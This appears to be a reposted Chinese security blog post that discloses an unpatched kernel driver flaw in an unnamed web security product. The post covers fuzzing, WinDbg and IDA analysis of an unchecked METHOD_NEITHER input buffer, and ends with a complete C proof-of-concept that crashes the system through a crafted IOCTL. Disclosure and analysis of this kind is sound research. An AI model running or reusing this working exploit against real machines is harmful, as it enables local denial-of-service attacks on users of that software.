某网站安全检测系统的一个鸡肋0Day漏洞预警 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    今天在微博上看到有位前辈推荐了一个所谓驱动级别的WEB安全检测系统,疑心其是不是在内核来实现WAF的功能,于是就下载下来看了看,

某网站安全检测系统的一个鸡肋0Day漏洞预警

。发现这个系统只有一个驱动模块,拿IDA分析了一下感觉其它只是一个NDIS过滤驱动——实现的一般的防火墙功能。并不是像我想得那样把针对XSS,SQL Injection这类攻击的防御放在驱动层来实现。想到自己工具箱里有驱动漏洞挖掘的神器ioctl_fuzzer,反正闲着也是闲着,就抄起家伙对其一通猛扫,结果虚拟机就BSOD了

   

    随后重新启动虚拟机,并挂上Windbg,再次狂扫一通之后Windbg就捕获到了一个内存访问异常。结合Windbg提供的异常信息,很容易分析清楚这个鸡肋0Day的成因——

    这个驱动模块和ring 3层应用程序通信时,交换数据的缓冲方式是非常不靠谱的METHOD_NEITHER,DDK中对这种缓冲方式的描述如下:

    "

    METHOD_BUFFER

    The input buffer's address is supplied byParameters.DeviceIoControl.Type3InputBufferin the driver's IO_STACK_LOCATION structure, and the output buffer's address is specified byIrp->UserBuffer.

    "

    结合WRK来看,如果使用这种极不靠谱的缓冲方式,IopXxxControlFile在构造IRP时也是非常不负责任的,你看——

    case METHOD_NEITHER:

    //

    // For this case, do nothing. Everything is up to the driver.

    // Simply give the driver a copy of the caller's parameters and

    // let the driver do everything itself.

    //

    irp->Flags = 0;

    irp->UserBuffer = OutputBuffer;

    irpSp->Parameters.DeviceIoControl.Type3InputBuffer = InputBuffer;

    注释里说的清清楚楚"Everything is up to the driver"。好吧,如果写Driver的那个程序员也很不负责任,不对这个InputBuffer做有效的检验,那攻击者就有福了

    .text:F8643BED               mov    eax, [ebp+Irp]

    .text:F8643BF0                mov    eax, [eax+60h]       ;EAX points to the IO_STACK_LOCATION

    .text:F8643BF3                mov    edx, [eax+10h]       ;EDX equals the irpSp->Parameters.DeviceIoControl.Type3InputBuffer

    随后有多处从EDX所指向内存读取数据的操作"movzx  eax, word ptr [edx]",但都无一例外的没有多内存地址的有效性做检验(最基本的cmp或者test都没有,更不用说ProbeForRead了),

电脑资料

某网站安全检测系统的一个鸡肋0Day漏洞预警》(https://www.unjs.com)。所以如果传入一个很猥琐的地址,BSOD就是必须得了。以下是一个可造成本地拒绝服务的POC

    #include

    #include

    #define DEVICE_NAME                                  "\\\\.\\WebFireWall"

    #define DEVICE_IOCONTROL_CODE         0x0012c84f

    #define MALICIOUS_ADDRESS                    0x0c0c0c0c

    int main()

    {

    HANDLE hDev=INVALID_HANDLE_VALUE;

    int   nLen=0;

    BOOL  bRet=FALSE;

    DWORD dwBytCnt=0;

    hDev=CreateFile(DEVICE_NAME,

    GENERIC_ALL,

    FILE_SHARE_READ|FILE_SHARE_WRITE,

    NULL,

    OPEN_EXISTING,

    FILE_ATTRIBUTE_NORMAL,

    NULL);

    if (INVALID_HANDLE_VALUE==hDev){

    printf("[*]CreateFile Error Code:%d\r\n",GetLastError());

    goto _EXIT;

    }

    bRet=DeviceIoControl(hDev,DEVICE_IOCONTROL_CODE,

    (LPVOID)MALICIOUS_ADDRESS ,

    0x36,

    (LPVOID)MALICIOUS_ADDRESS,

    0x60,

    &dwBytCnt,NULL);

    if (false==bRet){

    printf("[*]DeviceIoControl Error Code:%d\r\n",GetLastError());

    }

    else{

    printf("[*]Success!\r\n");

    }

    _EXIT:

    if (INVALID_HANDLE_VALUE!=hDev){

    CloseHandle(hDev);

    }

    getchar();

    return 0;

    }

   

最新文章